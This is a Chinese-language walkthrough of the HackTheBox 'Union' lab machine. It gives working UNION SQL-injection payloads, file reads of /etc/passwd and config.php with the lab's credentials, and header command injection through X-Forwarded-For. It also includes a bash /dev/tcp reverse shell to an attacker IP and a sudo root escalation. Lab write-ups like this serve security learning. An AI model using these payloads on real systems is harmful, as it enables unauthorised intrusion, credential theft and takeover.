> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md). # Union HackTheBox 复现 Union HackTheBox 中等难度 Linux 靶机复现，涵盖 SQLI（SQL 注入）- UNION 注入、SQLI - 读取文件、HTTP 头命令注入 - X-FORWARDED-FOR（RCE）、滥用 sudoers 权限（特权 {% embed url="" %} {% hint style="warning" %} **技能：** * SQLI（SQL 注入）- UNION 注入 * SQLI - 读取文件 * HTTP 头命令注入 - X-FORWARDED-FOR（RCE） * 滥用 sudoers 权限（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（80） ```bash nmap -sCV -p80 10.10.11.128 -oN targeted ```

### 端口 80 - HTTP

### 文件列表使用 gobusteron 将会进行带有 php 扩展名的文件枚举 ```bash gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt ``` 有两个文件无法从外部访问： `config.php` 和 `firewall.php`.

在 `index.php`如果我们在表单中添加一个名字，它会出现在响应中。

挑战文件要求我们提供一个 flag

## 漏洞 SQLI - UNION 注入我们用 Burp Suite 拦截请求并修改变量 `player`:

```sql jordan' union select database()-- - ``` 数据库的名称是 `november`.

列出所有数据库： ```sql jordan' union select group_concat(schema_name) from information_schema.schemata-- - ``` 结果： `mysql,information_schema,performance_schema,sys, november`

列出中的表 `november`: ```sql jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- - ```

列出中的列 `players` 表： ```sql jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- - ``` 找到的列： `player`

**用户数据提取** ```sql jordan' union select group_concat(player,':') from players-- - ``` 找到的玩家： `ippsec,celesian,big0us,luska,tinyboy`

Flag 提取： ```sql jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- - ```

```sql jordan' union select group_concat(one,':') from flag-- - ```

* 找到的 Flag： `UHC{F1rst_5tep_2_Qualify}` ## **SQLI - 读取文件** 读取 `/etc/passwd`: ```sql jordan' union select load_file('/etc/passwd');-- - ``` 我们找到一个 `uhc` 用户。

### user.txt 标志读取 `user.txt`: ```sql jordan' union select load_file('/home/uhc/user.txt');-- - ```

读取 `config.php`，我们找到数据库凭据：

$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
$dbname = "november"

读取 `firewall.php`，我们了解到提交 flag 会打开 SSH 端口： ```sql jordan' union select load_file('/var/www/html/firewall.php');-- - ```

我们提交 flag： `UHC{F1rst_5tep_2_Qualify}`.

端口 22 现在已打开。

### SSH 连接我们使用识别出的凭据登录： ```bash ssh uhc@10.10.11.128 uhc-11qual-global-pw ```

## **权限提升** ### HTTP 头命令注入 - X-FORWARDED-FOR（RCE）如果你查看 `firewall.php` 文件，你会注意到它获取了 `HTTP_X_FORWARDED_FOR` 头并将其与 `sudo` 一起用于执行命令： ```php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip = $_SERVER['REMOTE_ADDR']; }; system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT"); ?> ```

由于这个变量可以通过 HTTP 请求控制，我们可以注入任意命令。 **利用** 由于这是一个 HTTP 头，我们可以注入命令，例如使用 `curl` 来联系我们的 Web 服务器。 **搭建一个 Web 服务器：** ```bash python3 -m http.server 80 ``` **使用 `curl`:** {% code overflow="wrap" %} ```bash curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php' ``` {% endcode %}

**反向 Shell** **监听 443 端口：** ```bash nc -nlvp 443 ``` **获取远程 shell 的命令：** {% code overflow="wrap" %} ```bash curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php' ``` {% endcode %} 一旦连接上，我们就是用户 `www-data`.

#### 终端稳定化 ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### SUDO - (ALL:ALL) 使用以下命令，我们检查 `sudo` 权限： ```bash sudo -l ```

如果我们看到 `www-data` 可以以任意用户身份执行任何命令（`(ALL: ALL) ALL`），那么我们可以使用以下命令获取 root shell： ```bash sudo /bin/bash -p ```

### root.txt 标志 :)

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